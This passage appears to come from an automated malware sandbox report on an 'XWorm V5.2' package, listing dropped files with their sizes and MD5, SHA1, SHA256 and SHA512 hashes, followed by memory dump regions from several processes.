                                                                                    52baac63399340427b94bfdeb7a42186d5359ce439c3d775497f347089edfbf72a6637b23bb008ab55b8d4dd3b79a7b2eb7c7ef922ea23d0716d5c3536b359d4

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\start.bat

                                                                                    Filesize

                                                                                    59B

                                                                                    MD5

                                                                                    81a88df17e5b73e1836599034aa6cbe4

                                                                                    SHA1

                                                                                    ab48c97c37ed395bfa507ec1c14176e67ecab398

                                                                                    SHA256

                                                                                    f11af0fc77260978bd5c542172fd3f21a9ebd7bc8d5cab766cba4a480fa2c307

                                                                                    SHA512

                                                                                    c8fa430bf7c0036ea7230d49b525ee87b8d15e4e73b3417efe8816b82161df0a18214dca21777efd4fe25fae012ce4819521c5763a021b8099ed0bc703fb64ec

                                                                                  • C:\Users\Admin\Downloads\XWorm V5.2\start.exe

                                                                                    Filesize

                                                                                    7.5MB

                                                                                    MD5

                                                                                    2e62e776b7eeac3dd713f1a6da5f942d

                                                                                    SHA1

                                                                                    6516d9ef1212939a12a84a396b3c64ecea878c11

                                                                                    SHA256

                                                                                    68b1696d3c76eedc131349ecd65a23372082feb83bb66d9d9be296916910e7ea

                                                                                    SHA512

                                                                                    04c73c5505e56fd21f1a25c085c99a1c1cc19cbac8004ce3e974e05f9754c5d07051fdfa53f5a0f0b8a89c16412757b1a29cf487c552212531bcac42ead849bb

                                                                                  • C:\Users\Admin\Downloads\xworm.7z

                                                                                    Filesize

                                                                                    36.3MB

                                                                                    MD5

                                                                                    8e391f6618b90ddcefb8048b768c20c8

                                                                                    SHA1

                                                                                    5ba1ee1aad993c5b76ba722706c146e3456e16d6

                                                                                    SHA256

                                                                                    5730c3bf3e6bc163dee6bab4660722c55eb1a4d878faa1f5b2a1c3e5929a0528

                                                                                    SHA512

                                                                                    b1358fc3f0694b84a12b1e50e049777ea2b89dc5ac3b12ac852b0e5929d8a51ed53479c2ea0e2e194faa570c370ed61bbc654cc4625d0aeb8514b44bbef08df9

                                                                                  • memory/1200-322-0x000000001D1E0000-0x000000001D1EE000-memory.dmp

                                                                                    Filesize

                                                                                    56KB

                                                                                  • memory/1200-318-0x0000000020370000-0x00000000206C0000-memory.dmp

                                                                                    Filesize

                                                                                    3.3MB

                                                                                  • memory/1200-280-0x0000000026870000-0x0000000026F7C000-memory.dmp

                                                                                    Filesize

                                                                                    7.0MB

                                                                                  • memory/1200-279-0x000000001DDB0000-0x000000001DF6A000-memory.dmp

                                                                                    Filesize

                                                                                    1.7MB

                                                                                  • memory/1200-324-0x0000000021820000-0x0000000021D48000-memory.dmp

                                                                                    Filesize

                                                                                    5.2MB

                                                                                  • memory/1200-278-0x0000000002DB0000-0x0000000002DBA000-memory.dmp

                                                                                    Filesize

                                                                                    40KB

                                                                                  • memory/1200-311-0x000000001B1E0000-0x000000001B1EC000-memory.dmp

                                                                                    Filesize

                                                                                    48KB

                                                                                  • memory/1200-313-0x000000001B050000-0x000000001B05A000-memory.dmp

                                                                                    Filesize

                                                                                    40KB

                                                                                  • memory/1200-317-0x000000001B040000-0x000000001B04C000-memory.dmp

                                                                                    Filesize

                                                                                    48KB

                                                                                  • memory/1200-256-0x0000000002D20000-0x0000000002D2A000-memory.dmp

                                                                                    Filesize

                                                                                    40KB

                                                                                  • memory/1200-320-0x000000001D1C0000-0x000000001D1CA000-memory.dmp

                                                                                    Filesize

                                                                                    40KB

                                                                                  • memory/1200-321-0x000000001D1D0000-0x000000001D1DA000-memory.dmp

                                                                                    Filesize

                                                                                    40KB

                                                                                  • memory/1200-245-0x0000000000C90000-0x0000000000CA6000-memory.dmp

                                                                                    Filesize

                                                                                    88KB

                                                                                  • memory/1200-323-0x000000001D200000-0x000000001D20C000-memory.dmp

                                                                                    Filesize

                                                                                    48KB

                                                                                  • memory/1376-196-0x000001CCD4690000-0x000001CCD4884000-memory.dmp

                                                                                    Filesize

                                                                                    2.0MB

                                                                                  • memory/1376-194-0x000001CCD2DA0000-0x000001CCD398C000-memory.dmp

                                                                                    Filesize

                                                                                    11.9MB

                                                                                  • memory/1376-186-0x000001CCB6DA0000-0x000001CCB79D8000-memory.dmp

                                                                                    Filesize

                                                                                    12.2MB

                                                                                  • memory/4048-310-0x0000000000400000-0x000000000056F000-memory.dmp

                                                                                    Filesize

                                                                                    1.4MB

                                                                                  • memory/4844-211-0x0000021159590000-0x0000021159596000-memory.dmp

                                                                                    Filesize

                                                                                    24KB

                                                                                  • memory/4844-253-0x0000021179BF0000-0x0000021179CA2000-memory.dmp

                                                                                    Filesize

                                                                                    712KB

                                                                                  • memory/4844-216-0x0000021174540000-0x0000021175178000-memory.dmp

                                                                                    Filesize

                                                                                    12.2MB

                                                                                  • memory/4844-200-0x00000000004B0000-0x00000000004D0000-memory.dmp

                                                                                    Filesize

                                                                                    128KB

                                                                                  • memory/4844-202-0x0000021173600000-0x0000021173642000-memory.dmp

                                                                                    Filesize

                                                                                    264KB

                                                                                  • memory/4844-204-0x0000021173650000-0x0000021173678000-memory.dmp

                                                                                    Filesize

                                                                                    160KB

                                                                                  • memory/4844-206-0x00000211595E0000-0x00000211595E6000-memory.dmp

                                                                                    Filesize

                                                                                    24KB

                                                                                  • memory/4844-208-0x0000021173840000-0x000002117389E000-memory.dmp

                                                                                    Filesize

                                                                                    376KB

                                                                                  • memory/4844-210-0x00000211738A0000-0x00000211738F6000-memory.dmp

                                                                                    Filesize

                                                                                    344KB

                                                                                  • memory/4844-215-0x0000021173680000-0x000002117369A000-memory.dmp

                                                                                    Filesize

                                                                                    104KB

                                                                                  • memory/4844-249-0x0000021179EE0000-0x000002117A1C2000-memory.dmp

                                                                                    Filesize

                                                                                    2.9MB

                                                                                  • memory/4844-226-0x00000211776E0000-0x0000021177848000-memory.dmp

                                                                                    Filesize

                                                                                    1.4MB

                                                                                  • memory/4844-251-0x0000021177850000-0x00000211778D2000-memory.dmp

                                                                                    Filesize

                                                                                    520KB

                                                                                  • memory/4844-212-0x00000211595A0000-0x00000211595A6000-memory.dmp

                                                                                    Filesize

                                                                                    24KB

                                                                                  • memory/4844-247-0x00000211775A0000-0x00000211775CC000-memory.dmp

                                                                                    Filesize

                                                                                    176KB

                                                                                  • memory/4844-214-0x00000211737E0000-0x000002117381C000-memory.dmp

                                                                                    Filesize

                                                                                    240KB

                                                                                  • memory/6032-182-0x0000000000660000-0x000000000159C000-memory.dmp

                                                                                    Filesize

                                                                                    15.2MB

                                                                                  • memory/6032-179-0x0000000000660000-0x000000000159C000-memory.dmp

                                                                                    Filesize

                                                                                    15.2MB